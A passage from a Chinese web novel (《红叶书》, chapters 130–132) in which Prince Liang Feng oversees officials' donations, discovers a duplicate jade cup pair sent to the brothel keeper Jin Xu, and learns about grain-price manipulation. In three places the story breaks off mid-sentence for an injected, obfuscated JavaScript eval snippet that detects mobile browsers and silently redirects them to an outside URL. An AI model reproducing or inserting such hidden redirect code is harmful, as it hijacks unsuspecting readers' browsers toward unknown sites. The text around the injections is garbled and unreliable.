“你维护也没用,皇帝就是个昏君。”她狠着声音道。 指腹好像有一坨粉,梁风讪讪收手,“我不维护,这是不是我第一次听你评价皇帝。” 她不答话,反问:“你能不能认出来,现在温柔馆里坐着哪几个当官的?” 她眉心一块,肤色不太一样,梁风有一些些心虚,手指头在袖子上搓一搓,答:“有两个眼熟的,但我不太认得。你先不急,我查查看再告诉你。” “哪两个?” “东北和南向的两张散席。” 她眼睛下意识望下厅堂,半路很快收回来,没有刻意看过去。 “就两个人吗?” “难说。我能认出的就这两人。”此刻的温柔馆中,说不定还有他不认得的眼睛。 她的眉毛深深地皱着,眼睛里的厌恶快比妆还浓烈。 梁风看见她眼中的情绪,他想要的精彩纷呈的表情不是这种。 “要不我遣两个人放你身边吧......” “不要。” 他还没说完,“一定在你能看见的范围,也不戴面罩、穿黑衣之类的。” “不要。” 梁风闭嘴了。 他转念一想,道:“要不我先回去吧,查出来这两人情况我再告诉你。” 她毫不犹豫漠然地念:“王爷慢走。” 梁风便出到温柔馆外面,躲去街角打哨召来一名暗卫,吩咐其脱下黑衣和面罩,此后每夜潜入温柔馆中伪作男客。 看着暗卫走入温柔馆,他转身回府。 之后他要每日上早朝了。在文臣捐资这件事情办结之前,他需日日向皇帝汇报此事进度。 隔日散朝后,温柔馆见到的其中一位官员走来同他攀谈,同他感叹温柔馆的女子当真不好哄,并羡慕他没有家室,不至于哄完外面的,还要去哄屋里的,能两头兼顾的,只有年轻人了。 梁风懒得听弦外音,淡淡应着,到路口,赶紧分道扬镳。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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想过没有。那天确定他为监币使的朝会散去后,陛下特意留他明言提醒这事他可全权决定。言外之意是什么,想看看他有哪些同党或人脉吗?但为什么直言提醒他。 “没有。”他理所当然道:“我懒得想这些,按照他们一年俸禄的三成,该给多少给多少,没得耍滑。” “这就是第二层。”冯棹台看着他道:“为了能减少捐资,部分官员或许会私下偷改每年月的俸禄内账。” “又要看账本?每月俸禄不是有定额的么,还能偷改?”梁风难以置信道。 “自然是不能改的,可是难保有的人会做出此等劣事。若真有这样的人,定会遭陛下革职了。”冯棹台建议道:“我们还需对比最近一年所有官员的俸禄记录,此事就需王爷出面调账了。”并想了想道:“至于那位鉴宝大师,就由臣去找来。” 梁风不耐地不说话,他不爱看账本。 “还有第三层。”冯棹台再道:“官员若要有现钱,必须把俸禄粮食卖出去才行。而大规模售粮,不止是京城,整个京畿范围内的粮价都会受到影响。这段时日,粮价必降。臣猜测,部分二千石大员以及陛下,都会趁此时机购入其他官员售出的粮食,以充国库或府中粮仓。” 梁风惊道:“我难道还要管粮价吗?” “不。”冯棹台立马说:“王爷放心,过几月便入冬,陛下屯粮自有打算,均衡粮价应当无需我们多管,只是期间百姓会有躁动,王爷或许需要多加巡防兵,□□秩序。” 梁风烦躁地心里叹气,皇帝这算盘打得好啊,这件事竟然有这么浩大繁琐,他已经觉得头痛了。 冯棹台看着梁风的神情道:“您倒也不必过于烦忧,真正需要费心紧盯着的其实也就那说得上名字的几个人。对于大部分中下等的官员来说,这件事其实是个不小的负担。他们很多人需要四处借贷,才能勉强凑够三成俸禄,更是不可能有机会偷改内账,或是有能耐盗制赝品。” “放屁。” 梁风骂出口才发觉不妥,换了语气道:“你们每日站着吵架的地方可是未央宫朝殿,什么样的人能在未央宫吵架,能站在那说话就不会有真正穷的。” 他道:“哪怕此时真的穷困,要么他身上一定有将来可以让他升官赚钱的才能,要么有足够雄厚的家族支撑,否则他凭什么到未央宫当官?” 冯棹台垂眸思索,片刻淡笑道:“王爷说的也是。” 冯棹台起身告辞:“两日内,臣会找到合适的鉴宝大师。” 梁风躁郁地点头。一想到要去调账本了,他就头痛。 130. 《红叶书》(五十) 内账数量庞大,难以调走。和大司农打过商量后,梁风向皇帝请旨,交换相府收纳内账府邸的驻守权。 皇帝同意了,批准大司农府账库全由梁风兵力看守,在事情完结前,不许外人进出。 拿到圣旨,临出宫,梁风去看了看母亲。自从有人想和他攀亲近后,他就担心也会有人打着从母亲身边接近他的主意。怕她一个人在宫里孤立无援,每次进宫他都去看看,也能安心些。 隔日,大司农府账库的卫兵尚未安置妥当,冯棹台带着三名鉴宝师来见他。 冯棹台面色不轻快,梁风一问得知,这三名鉴宝师是在皇帝指定的五人中选的。 梁风不太满意,“不能从民间挑人?” 冯棹台摇头,“陛下不喜朝事牵扯民间,且认为民间的鉴宝师担负国事易夹私心,命臣在指定的人中挑选。” 梁风被那满屋子的账本堆得头痛,不耐多想,挥手便罢,“那就这样吧,出了什么问题皇帝担责。” 两日后,账库的卫兵安置完毕,皇帝又来旨,将未央宫角落一间空置大殿兼一百名禁卫军,调给梁风随意使用。 “这什么意思?” 冯棹台道:“王爷,这是好事,百官上捐钱币数量过多,那间大殿正适合用来储放捐资,我们找别处还不容易找到合适的。” “是么。”乍一听有理,梁风细想有些怪,“不对啊,这也插手,那也插手,还说我权限很大?大在哪了?” 冯棹台举着圣旨的手也是一顿,思索片刻道:“王爷向陛下请旨提出另一处储钱地点应当也是可以的,那便不用这间大殿么?” “当然不是。该用就用,再选址花费的时日太多,匈奴可不会等我们筹完钱才进攻。” 抱怨归抱怨,他分得清轻重,而且位置在宫里,方便去看母亲,他没什么好挑剔的,只不过要调更多卫兵驻守,防止最近一段时间多人进出皇宫而发生隐患。 储钱宫殿打理完毕,梁风就收到了第一批送来的捐资。 首位捐者是崔固。由崔敬先带着仆从,抬着两箱现钱送来。 “我爹收藏的东西不少,但是去掉陛下对我爹战功的赏赐,剩下值钱的就不多了。”敬先同他说道。 “都好啊。”话一出口就觉不对,梁风板起脸道:“随你送什么,够数就行。” 崔家的捐资主要占比是现钱,小部分是金子,没有器物。 敬先不顾他脸色,凑近了低声说:“你也知道,家里稍稍值点钱的东西都用来给我娶夫人了。” 梁风猛地想起一事,“我早前想给你孩子送些东西过去的,但一直没想好送什么,给耽搁了。” “用不着。”敬先挥挥手,指挥仆人卸货,“那小家伙还没出生,身边就一堆人围着他转了,还会缺东西?” “围着他转啊?” “对啊,你说金贵不金贵。”敬先抱怨道:“那一群人有事没事就盯着我夫人的肚子,明明还没出生,就比身边一堆人都重要了。” 听着敬先的牢骚,梁风问:“男孩女孩啊?” “不知道。” “我此刻身边倒是有个东西。” 梁风去内间拿了个小臂长的锦盒,打开来,里面是把匕首,递给敬先。 “小匕首,没开过光的,男的女的都能玩。” 敬先接了,自己先耍两把。刀刃很朴实,不锋利,刀套和刀柄嵌了几颗翡翠,皮革鞘套还缝了金丝,不容易伤人,用来做房里的饰品更合适。 敬先笑嘻嘻地痛快收下。 下人清点完钱数与金两,梁风写好账本,贴上署名的封条,敬先盖了手印就回府陪夫人去了。 第二批送来捐资的,是御史那帮人,其中包括冯棹台。 然而清点一遍钱币,梁风诧异地发现,御史这帮人竟然没有十分富裕,钱难道是被他们那张嘴给骂没了。 冯御史私下偷偷告诉他,御史正是因为俸禄少,才有骂人的底气。 第三批送来捐资的,是皇帝内朝六尚书和部分九卿。 捐资逐渐增多,皇帝援来太学学生,帮助清点账目。 太学学生此前几乎从未接触过铜臭味如此之大的活计。他们眼中甚至出现了惊奇。 一箱箱铜钱摆在院子里,铜锈味风吹也散不去。闻多了,梁风都要以为是血腥气了。 “要说是血腥味也没错。”冯棹台鼻前扇扇风道:“很多贫官当真是放血割肉才给得出这笔钱。” 越来越多的人捐出钱来,反对的声音慢慢消下去,更多人开始商量讨论,该怎么把钱凑出来。梁风已经在收来的钱币中发现一些铜钱盖了钱庄的借贷印章。 “他们好像很难把钱攒起来,有的当了几年官也没攒多少钱。” “朝廷不比军营,我们之间的随礼走动比王爷想的要严重许多,月俸都随出去了。”冯棹台道。 “哦,难怪。”他呵一声,“难怪文官的钱要从别的地方赚。” 冯御史侧头看他,没应话。 宦官们的税钱陆续送来。 太监的月俸比梁风想象的多,捐资中珠宝玉器等现物占近半数,鉴宝师们忙了起来。 珠玉现物中,也有些茶杯酒盏之类实用的东西。鉴宝师们对一对杯子的定价犹豫许久,引得梁风和冯棹台都多看几眼。 那据说原本是一套前秦茶具,前秦先祖用过,战后仅剩一对杯子。这对杯子外形扁圆,平底,羽翼状杯耳,黄玉制。鉴宝师们对杯子是前秦之物确认无疑,对其真假尚无法定夺。 冯棹台能对杯子形制、花纹说个一二,梁风完全看不出门道。说是茶具,不叫杯子,叫羽殇。梁风看半天,看不出那花纹和寻常玉制品对比有何优越之处。 鉴宝师们商量了一天,最终确认两件杯子都是真品,一对价值两千钱。 梁风觉得定价高了,送东西来的小太监觉得定价低了,由冯棹台拍板,确定抵钱两千。 这对杯子之后,送来的现物越发增多。梁风整日忙于收货数钱,无暇回军营,营内秩序交给副将,偶尔挤出空闲才能返营。 满宫殿被宝物冲淡的铜臭味中,温柔馆伪作男客的暗卫忽然深夜找来,告诉他今夜温柔馆里去了个太监。 梁风一惊。 暗卫说,太监给了鸨母一个小物件,是个盒子,鸨母收下了。她应是回到房间才打开盒子,暗卫没看见里面装着什么。 他想也不想,立马赶去。 出了宫门,绕过街市,快马驶入来福街,梁风远远便看见温柔馆映着光的瓦顶。 之前以为从温柔馆下手的人会是文官那边的,没想到是太监。太监上青楼?未免太过扎眼。 深夜的青楼正是满街最喧嚣之处,今夜的温柔馆似乎更为热闹。他盯了一会,忽然注意到屋脊边缘一线烛光被一个转瞬即逝的黑点截断。 梁风骤然心中警惕,立身勒马,脚踩马背飞上屋顶,正见那黑点消失于群屋脊线之间。 “追!”他下令,身后暗卫跃出无声追上,同样融入黑暗。 那黑点明显是个人影,踩着群屋飞跃,身手很快,不知是路过温柔馆,还是从温柔馆内出来的。 梁风紧紧皱眉,看来他对温柔馆的戒备还是松了,甚至出现了不知哪里来的黑衣人。最好只是路过,别惊到金絮。 文官和宦官接连现身温柔馆,她忽然出现在众人视线包围之内,从那年救了她起就不曾出现这种情况。 他想到过去几次遇见黑衣人的经历都伴随刀光剑影,想到暗杀的可能,不由得心急,在屋顶上胡乱一望,望见温柔馆庭院的树丛中亮着一点灯笼,提灯之人模糊是金絮的身影。 他疑是心急过头看错了,此时月光恰巧出来,树影间那点晃晃悠悠的灯笼居然真的显出金絮的身形。 梁风纵身跃下,穿过层层树枝,猛地降在她面前。 金絮吓大跳,惊呼一声,手里的灯笼摔到地下,她转身就跑。梁风一把抓住她手臂,“是我!你别跑。” 金絮听见话声才转头,一边后退拉开距离一边仔细辨认他。 “你没事吧?”梁风上下打量她全身,没看见外伤,听她刚才那一嗓子也不像是有内伤的样子。 “你怎么......”金絮厚厚的脸上惊魂未定,呆愣愣看着他,反应不过来。 “我在外面看见一个黑衣人路过温柔馆,担心你遇上危险,急忙来看。”梁风发觉她手臂很冷,隔着衣服都很冷。 “黑......”金絮还没回过神,“黑衣人?” “对。我上回和你说过,温柔馆被那几个文官盯上,这黑衣人或许是某个文官派来的。” “姓卢的?”她慢慢平顺呼吸。 灯笼自己熄灭了,脚边暗了一块,金絮缓缓思索着轻声道:“不一定吧,还没有文官找上我。” “不能放松警惕,已经有太监找上你了。”梁风不放开她的手臂,还待细问,金絮忽而抬头盯他,问:“你怎么知道?” “我......”下意识想答的话卡在喉口,他反应过来,心里顿时发虚。 对啊,他怎么知道...... 上回和他生气来着,让他不要在温柔馆里放眼线,这一下不是叫她知道他没听她的话了吗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839865|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你、你先不要管这些......”梁风咳一声,“我且问你,你是不是收到太监送来的东西了?” 金絮盯他,“是啊,收到了。问什么问,你不是都知道了吗?” 梁风顿乖,不敢说话。 金絮甩开他的手,反抓住他的手臂往庭院后面走,“我小小一个温柔馆,挤着你们几方人马,真是给我好大的面子。” “你......我是担心你......”梁风心底虚,换了个话,“你说话不要像那些文官一样,话里夹话。” “我爱怎么说怎么说,要你置喙?”金絮拽着他大步地走,穿过了一道拱门。 “你有点凶。”梁风道。 “走快点。”金絮掌心用力,将他衣袖都抓皱了,极大步地拖着他。 拱门后面是寝楼,梁风被她扯得不能停顿,拉进了一楼左手边第一间屋子。 进门一看,书架、桌案齐整,这里不是睡觉的地方,应该是她平时办事的地方。 金絮扔掉他的手,到屋央的桌案边翻找,找出一个比巴掌略大的盒子,隔空扔给他,“给你看。” 她的准头是极好的,盒子旋转着飞来,正中梁风怀抱。盒子一角撞到他的肚子,力度也是不小的。 他真的惹她生气了。 “贴身放的眼线有疏漏,还要麻烦自己亲自过来看。”她道:“过来看还要吓我一跳。” 梁风抱着盒子不敢说话,也不敢打开看。 室内光线亮了,她的脸这才看得清楚。她脸上涂了妆粉,似乎不太干净,有几个小黑点沾着脸颊,可能是刚才在树林里,树上掉下来的东西沾上了。 “看什么看?”金絮轻声问。 梁风移开眼睛,解释道:“我说我要留人在你身边,你不许,那我又没说我不会留人放你身边......” 她双眼发亮地一紧,牢牢锁住他全身,跨近两步,清晰道:“你说话不要像那些文官一样,话里夹话。” 梁风被她眼睛照得皱眉,没想到这话也有说到他身上的一刻。 “我不想让你生气。”他道:“我常来温柔馆走动,已经招致了一些人的注意。最近文官集体捐资,他们有的人为了少捐或者不捐,把念头打到了你身上。我必须留意你身边发生了什么,我怕你遇到危险。” 至于会利用金絮做什么,他没想出头绪。 “我不希望你被掺和进这些事情里。”他道:“我留个暗卫在你身边又怎么样呢?你若是有事,也方便找到我,不是么。” 或许金絮想和他发火,但是碍于情面,没发。他必须把话题转移开才行。 梁风一边说一边打开盒子,“等文官捐资这件事结束,我一定当你面把暗卫收回......” 他扭头看见盒子里的东西,面色一变,眼睛瞪着盒子移不开了。 金絮瞧出端倪,近前一步,“你认得这东西?” “我认得。”梁风凝重点头,“这是昨日太监送到我这的捐资。” 盒子里是那对前秦遗物,那对鉴宝师对其价值举棋不定的黄玉杯子。他拿起细看,确定是一模一样的外形花纹,没有他能看出来的区别。 “我已经收了一对,怎么会还有一对?” 金絮眼中微惊,目光在他脸上停留片刻,缓缓移到杯子上,仔细看着。 “有一对是假的。”她道。 梁风不说话,他不知道。鉴宝师鉴定了一天,确定他收到的是真的,那手中这对就是假的了,为什么要送一对赝品给金絮,他完全没有头绪。 他盖上盒子,“我先收了,这东西不能放在你这。” “不行。” 啪的一声,金絮一下抬手压住盒子,“你不能拿走。” 梁风莫名地看着她,金絮脸色不变,道:“明日若是有人弹劾你,你的罪名就是私造捐资赝品充公,而将真品送到青楼哄女子开心。” “胡说。”梁风不信,“谁会信这种蠢话?不到一天的时间,我怎可能造得出赝品。” 她仍是不抬手,“想逼你让出监币使之位的人,大可举报你私下和太监串通,目的是偷梁换柱,以假换真,两对杯子自然是事先便准备好的。” 梁风一愣,顺话沉思起来。 金絮道:“相不相信不重要,只需要对你行事是否廉洁检点产生争议,皇帝兴许就会迫于压力,免去你监币使的职位,换一人担任。” 梁风皱眉,“那不行,换个人的话,那群文官肯定不会老老实实把钱交出来。” 金絮两手握住盒子两边,沉声道:“我有办法,你交给我吧。” 131. 《红叶书》(五一) 她有什么办法? 盒子传来微微拉扯的力度。 离得近了,梁风可以很清楚地看见她脸上的纹路,皮肤浮的粉、没抹匀的口脂、卡着几粒黑块的眉毛,离得远了真看不出来。 她微低头看着盒子,睫毛遮住眼中一切。梁风想她抬头,妆粉总不会涂进眼睛里。 仿佛意识有传递,金絮如他所愿地抬头,梁风在她眼中看见了反射的自己,而背后的双眼深不见底。 没等到回应,金絮看着他,艳红的嘴唇抖了抖,没开。 “嗯?”她问。 梁风道:“太监给你这东西时,是怎么和你说的?” 她又垂下眼,指尖叩叩地轻点盒面。 “留在我这吧,明日无论他们如何揭发你,你都必须说这对东西是假的。” “你这说的我当然知道。”梁风问:“太监给你东西时是怎么和你说的?我担心你被利用了。” 梁风扯扯她的衣袖催促她快讲,掌心的力度松了,金絮自然地拿回盒子。 她揭开盖,看了一看,抬起头看他。梁风被看得莫名其妙。 她退后两步,抱着盒子犹豫道:“那太监给了我一笔钱,让我串供。他们想揭发你后,能由我作证,证明这东西的确是你给我的。” “串供?” “对。” 梁风眨眨眼,眨了又眨,“给了你钱?” “是。” 什么意思?梁风还是茫然的。 “你收了钱了?” 她继续点头。 金絮神情沉静,望着他,似乎是想看他反应。梁风甚至产生了一种在她眼神下被审视的感觉。 慢慢地,他察觉到,金絮这段短暂的沉默,是在给他反应的时间。 “不会啊。你虽然说你开销大,需要钱,但不至于这么缺钱。”梁风道,眼巴巴瞅着她。 “官员捐资会卖粮,我想趁这个时机囤些粮食,需要一笔钱。”她解释。 “所以你要我把这东西留给你。” 梁风指指她手上的盒子,金絮的脑袋顺着往下看,没再抬起来。 “我不明白。”梁风盯着她的头顶,“为什么?你是想要出卖我吗?” 她不说话。 “那你现在又为什么告诉我?” 金絮动了一下,轻声道:“我没有答应。” 他的呼吸停了一瞬,“哦,你没有答应......” “钱给少了。” “......哦。” 梁风抚抚胸口,觉得委屈,“我不相信你会这么做。” 金絮不理他,沉默低头,仔细看着盒中杯子。黄玉在烛光下显出很浓重的岩石色,玉内蕴含的天然纹理都看不清了,表面却流光溢彩,瞧着温暖,但玉是凉的。 “你刚才不应该有底气凶我。”梁风轻轻瞪她,注意到她手指微微发抖,他道:“你收了那太监的钱,要为他做事,然而你却把这件事告诉我了,你现在岂不是两头不讨好。” 紧抠着盒子的手指一松,她瞬间走神。 “我不怪你,也不和你生气,至少你能在我这里讨着好。”梁风问:“你需要多少钱?” 盒子啪地盖上,金絮避开他的视线,转身将盒子放回桌案。 “你误会了,我收的钱是那太监喝花酒的销费,不是收买我的钱。这盒子里的东西,是那太监说姑娘伺候得好,赏的。” 梁风呆了一呆,“你在逗我开心?” 金絮一顿,“我不是。我确实想趁这次机会囤粮,需要一笔钱。” “你别说那么快,我反应不过来。”需要一笔钱和逗他开心,二者之间好像并不冲突。 “你就是逗我开心。你拒绝和宦官串通,他们弹劾我失败后说不定会找你麻烦,我肯定是要多留个暗卫在你身边的。”他顺势而为道:“实在没钱就不要囤粮了,买自己够吃的就好。如果温柔馆没粮食吃了,我那里还有。” 金絮皱眉,走开几步离他远些,“多个暗卫就不必了。我囤粮也不是为了吃的。” “那你为了什么?”难道是为了赚钱,她上次可是亏了的。 “为什么你肯定太监弹劾你一定会失败?”她不答,反问。 梁风不疑,想也没想道:“因为我那三个鉴宝师都是皇帝的人。每一件送来的宝物都由鉴宝师确定为真并定价,赝品根本不会收,是真是假也不由我说了算。” 金絮定定看了他半晌,缓缓道:“原来是这样。我和太监串通也会失败。” 见她明白了,梁风再多提醒:“不仅会失败,而且这件事把你牵扯进去,万一处罚你了怎么办?你离那几个混入温柔馆的太监和文官远一点,不要有过多交涉。” 金絮听了没什么反应,眼神漠然地扯扯嘴角,有几分嘲笑的意思。 不知道她听没听进去,梁风还想多叮嘱,金絮问道:“太监存着陷害你的心思,皇帝知道了会治罪太监吗?” 梁风一想,摇头,“恐怕不会。皇帝提拔宦官,是因为想从外朝夺权,一点小错,估计闭个眼就翻过去了。” “皇帝提拔太监?”她抓住重点,“文官那些人会不喜宦官吧。” “对啊,你怎么知道?他们两边斗得厉害着呢。” “他们互斗,你站哪一边?” “我?我两边都不站。”梁风道:“好了,你不要打听这些了。” “你站皇帝。” 梁风一愣。金絮走到屋外,望望天色,望望前馆。街巷人声传不过来,静谧渐显,前馆的烛火熄了一角。 “很晚了。” “你还没有告诉我,你为什么要囤粮。” 怕她言下之意是赶人,梁风跟过去,金絮浓厚的脸在檐下暗影中熠熠生辉。 “不是我要囤粮,而是每年粮价的浮动太大了。”金絮道:“官员每年都会合伙操控粮价。” 她似乎一声默叹,“交税前,他们集体外售粮食,压低粮价,我们只能卖出更多的粮食才有足够的税钱上缴。等交完税后,那些当官的再大量买入放出的粮食,转而哄抬粮价。先前几乎卖光粮食的百姓,尤其是农民,就要以高价买入原本是他们自己种出来的粮食。” “有这样的事......”梁风惭愧,他不了解市面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我冒犯了。”他歉意地说,右手悄悄握住被打的左手,“你需要钱,我借给你,我们一起平衡粮价好不好?” 金絮抬眼看他。 她也将双手拢在一起,放肚子前面揣着。 她还未回答,屋顶响起一道哨音。金絮听见了,侧目看去。梁风知道那是暗卫提醒他的号声。 梁风同她道:“刚才出现在屋顶的黑衣人应当是路过,没有危险,你放心吧。” 她垂下头,“哦......” “还有,我不站皇帝,我站我身边的人。”梁风再道。 她一怔,手指紧了紧。 “好不好啊?”梁风催促。 她迟疑着没有说话。 “你说好,我就把暗卫收回来。”梁风谈条件,而且不计较她打了他两次的事情。 她走了神,最后恍惚道:“好。” 她接着补充:“明处被盯着,总比暗处被盯着要好。” 梁风默默然。 132. 挑选与等待 梁风打哨,暗卫自檐顶跳下,落在金絮面前。 毫无掩饰的一张脸,坦坦诚诚,也没有脂粉遮盖。 他的暗卫变成明卫了。梁风仔细偷瞧着金絮的神色,她的反应平淡得近于没有。 “嗯,我认得他。”金絮道。 得到她点头,梁风才松口气。暗卫重新溶入黑暗。 “他叫十一,现在没有人保护你了。” “看起来年纪很小。”她似乎对有没有人保护她十分无所谓,“你总共有多少个暗卫?” “十一个。我手下暗卫年纪都不大。” “你能借给我多少钱?”金絮仰头与他直视。 “你要多少,我给多少。” 她听后没反应,梁风却看见她眼睛里的算盘。他犹豫道:“不过我现钱不是特别多,只有些金子,需要筹一下的。” 她眨了下眼收回视线,推搡他,“需要多少钱这事容我想想,很晚了,你快回去吧。” 梁风盯着她推来的手,小声问:“你碰我就可以?” 她一顿,不推了。梁风低头看着她。 “那我先回去了,你把那对杯子给我。”他伸出另只手。 “不给你,我明日还给那太监去。我仔细想了想,太贵重的东西还是不收了好。” 她显露出不耐烦来,“好了,你快些走吧。”她继续推搡他。 梁风被推到屋檐外,他有些不开心了,“你每回都赶我走。” “没有每回。”她不推了,等着他自己走。 “你把东西还给那太监时,要是出了什么事,一定及时来找我。你就托丫鬟上王府找我,我不在的话,就告诉老李。知道了没有?” “知道了知道了。”她又开始推他,两只手抓着他胳膊,一点一点推。 “你今晚有点奇怪。”梁风站定不动,看着她的眼睛,“呼吸很乱,忽快忽慢,你好像很紧张,是因为我来时吓到你么?” 她疑惑起来,回视他的目光茫然和缓,学着他小声道:“我连呼吸都要控制吗?” 说完,她一眨眼,茫然瞬间消失,“可能是我在青楼里面待得久了,面对男人时总喜欢装模作样。” 梁风没听懂她这话。金絮道:“还是我不应该把你当男人看待?” 梁风愣了,金絮后退一步,福身行礼,“民女参见应和王。” 梁风眨眨眼,以为她在说笑。 金絮行完礼,静静地拢手站着。 “怎么了?”梁风想近前一步。金絮不好意思,歉歉道:“我行错礼了。” 他还未开口,她再次后撤,整个身子跪伏下地,额头砸在地面,道:“民女参见应和王殿下。” 梁风伸出去的手指僵着。金絮礼完便抬了点身子,梁风立马把她扶起来,“你怎么了?” 金絮自己也跟着起身,眉头微微皱起,用手拍拍额头,仿佛磕疼了。 “我是想问你,你今晚准备睡在温柔馆吗?”她问。 梁风看着她额头几点地上砂石砸出的印子,想帮她抚抚,手伸到半路又停下,手掌的阴影在她脸上划过。 “你不帮我试试。”金絮忽然道。 梁风有些急了,“你说明白点,我不懂你的意思。” 寝楼外传来脚步声,他和金絮同时看去,拱门那头走出一个红色的衣影。 “丽姬。”金絮念了一句。 她拔掉梁风刚才扶她没松开的手,小跑向丽姬,边问道:“前面闭馆了?” “还没呢。”丽姬走近过来,转头看见梁风,眼睛一瞪道:“你是从哪儿进来的啊?” “我是从屋顶跳下来的。”梁风老实道。 金絮又走来推他,“囤粮的事情我再仔细计划一下,你今晚不回去的话,我得为你收拾个房间出来了。” “收拾?前馆都住满了,你把他往自己房里收拾吗?”丽姬问。 金絮看了丽姬一眼,低下头不说话。 “那我走了。”梁风识趣,再看她一眼,跨出两步纵身跳上屋顶。 他沿屋脊走了一段,选个树冠能挡住身影的位置,留了一会。 十三出现在他身旁道:“主子,那黑衣人是天机阁的哨卫,是专门负责传递消息的人,武力一般,轻功极佳。属下问他是否路过,他不答。” 透过树枝,梁风看见金絮和丽姬去往庭院,他跟着一起动,确保树枝挡着他。 十三再说:“那太监给鸨母盒子时,他们两个人是在房中的,谈了什么属下听不到,但在最后鸨母似乎喊了声‘滚远点’。” 梁风一愣,注意力从金絮身上抽回来,“你没听错?” “没有。” 树枝后的两道身影相伴着踏上砖桥,梁风打算再看一会便离开,他担心金絮。这时却听见一道落水声。 他心里顿时一急,赶快在屋顶上找到一块空处,远远望见砖桥上果然只有丽姬一人了,而桥下的水池波澜起伏,泡沫滚滚荡开。 他立即跑下去两步,那尚未平静的水面再次哗啦一声,水里冒出来金絮。 梁风登时在瓦片上刹住。水池显然不深,她可以站着,头发服帖着头脸肩背,脑袋顶变得圆圆的。 丽姬似乎在桥上说话,不知说了什么,金絮拂了一手水珠子甩向丽姬。 她的妆容仿佛被池水弄花了,脸上完全糊成一团,什么也看不清,反观丽姬隔远了看都眼是眼、鼻是鼻。 大概是不小心跌进水里了,梁风想要不要下去看看,但顾虑她现在全身是湿的。 正犹豫着,丽姬向他看来。 视线有如实质,月光下利剑般割来,然而眼中的情绪隔太远消散了。 被丽姬双眼抓住,梁风忽然明白她说的认得那暗卫是什么意思。她身上似乎有相当敏锐的直觉,能觉察到无形中某种异样的眼神。想起上次惹她生气,她也是因为感到自己被监视但是无法找出监视她的人而烦躁。 不如每日都来看看她,从宫里去温柔馆可比从军营里去要近多了。 她有丽姬照顾。梁风收回视线,转身回王府。 第二日天未亮,他早早进宫数钱,和冯棹台一同进行每日清点。 清晨的皇宫是极安静的,梁风刚入殿,就见冯棹台已经在了。 冯棹台唤他吃早饭,同他道:“粮价已经降了,今日一早,南市一贯钱能买到的粮食比前些天多了十斤。” 梁风搅弄一碗鱼粥,闻言想到了金絮,道:“有办法能不令粮价降低吗?” 冯棹台摇头,“很难。此次粮价降低背后有陛下默许,不降则国库备不出后续入冬和抗匈的粮食。” “粮价降低后,会有很多人囤粮吗?” 冯棹台吃饱了,放下筷子道:“当然会。许多富商极爱低买高卖,但是这次售出的粮食基本第一时刻就被陛下买入了,旁的人很难囤起来。” “这样......”梁风沉思喝粥,那金絮要怎么囤粮?她还能跟皇帝抢? 他又问:“富商囤积居奇,低买高卖,这么做容易亏钱么?” “应当不会吧,多数富商不就是因此而富的。” 这好像不太对,梁风着意问:“如果亏钱了,会是什么原因?” “难说。商人做生意亏钱了,原因有很多种,这要看具体情况。”冯棹台没那么懂商,语气不很肯定,刚吃完饭就拿起账册翻看。 梁风不再多问,决定后面找机会细问她好了。 饭后,相府卢司直的捐资送抵,太学学生用一上午清点了三遍,确认无误。 午后,前朝传来一封圣旨。陛下命他即刻带兵守卫京城附近几条粮道,尽可能拦住今后几月内各地郡县调至京城的粮食并严守京粮送往外地。 梁风接了旨,转头就问冯棹台这是什么意思。 冯棹台想了半炷香,才道:“陛下恐怕是不愿将粮价波动范围扩大,只控制在京城内。” “这是好还是不好?” 冯棹台瞧着圣旨沉思,不知盯着圣旨背后的什么,半晌才道:“是个好事。” “这当然是个好事。”冯棹台面上有点笑意,“无论他们背后如何计算,粮价范围能不扩大,只控制在京城内,这对百姓来讲就是个好事。京城多世家豪族,也只有京城,能承受得起粮价如此大的变动。” “是个好事啊......”梁风小声念叨,再里外看遍圣旨便封好,准备带兵封堵粮道。 他自己倒也想了想,说:“背后操控粮价的是他,防止粮价波动范围扩大的也是他,这件事情最后,皇帝难不成还能得个美名?” 冯棹台微诧地看他。梁风眨眨眼,收回视线,“算了,你还是不要说了。” 冯棹台留下收钱。梁风调出军营部分兵力,分派八方守住京城最近运送粮食的官道关口,并吩咐卫兵做好往来商队携货记录。 八条粮道的守卫安排好后,每日送来的牒文没处接收放置了。宫中暂用的这间大殿只用来储钱,圣旨不许做他用。梁风便让兵士将牒文送去王府,他反正不住在宫里,每夜都要回府的。 结果第二天就有官员在朝会上指责他私宅公用,意图徇私。梁风解释了一下便懒得理了。 他有些急,封堵粮道前后用了两天时间,已经有两天没去看她了。 粮价降低势态缓慢,冯棹台一直有着人盯着市价。冯棹台说游照同暗中开始寻找京城内粮价波动暂时较小的地区,似乎是想尝试以正常价钱卖粮,猜测游相的捐资应当即将送来了。梁风估计金絮正急用钱呢。 白日里温柔馆的人基本都在睡觉,他也要入夜之后才得空。这日从宫里出来,他回府备了一小盒金币,打算给金絮送去。 府里现钱不是十分多的,金子还有一些,梁风全部装了带给金絮。 他到温柔馆时,馆中气氛正热闹。 丫鬟告诉他,金絮在寝楼看账本。梁风便让丫鬟领他过去。 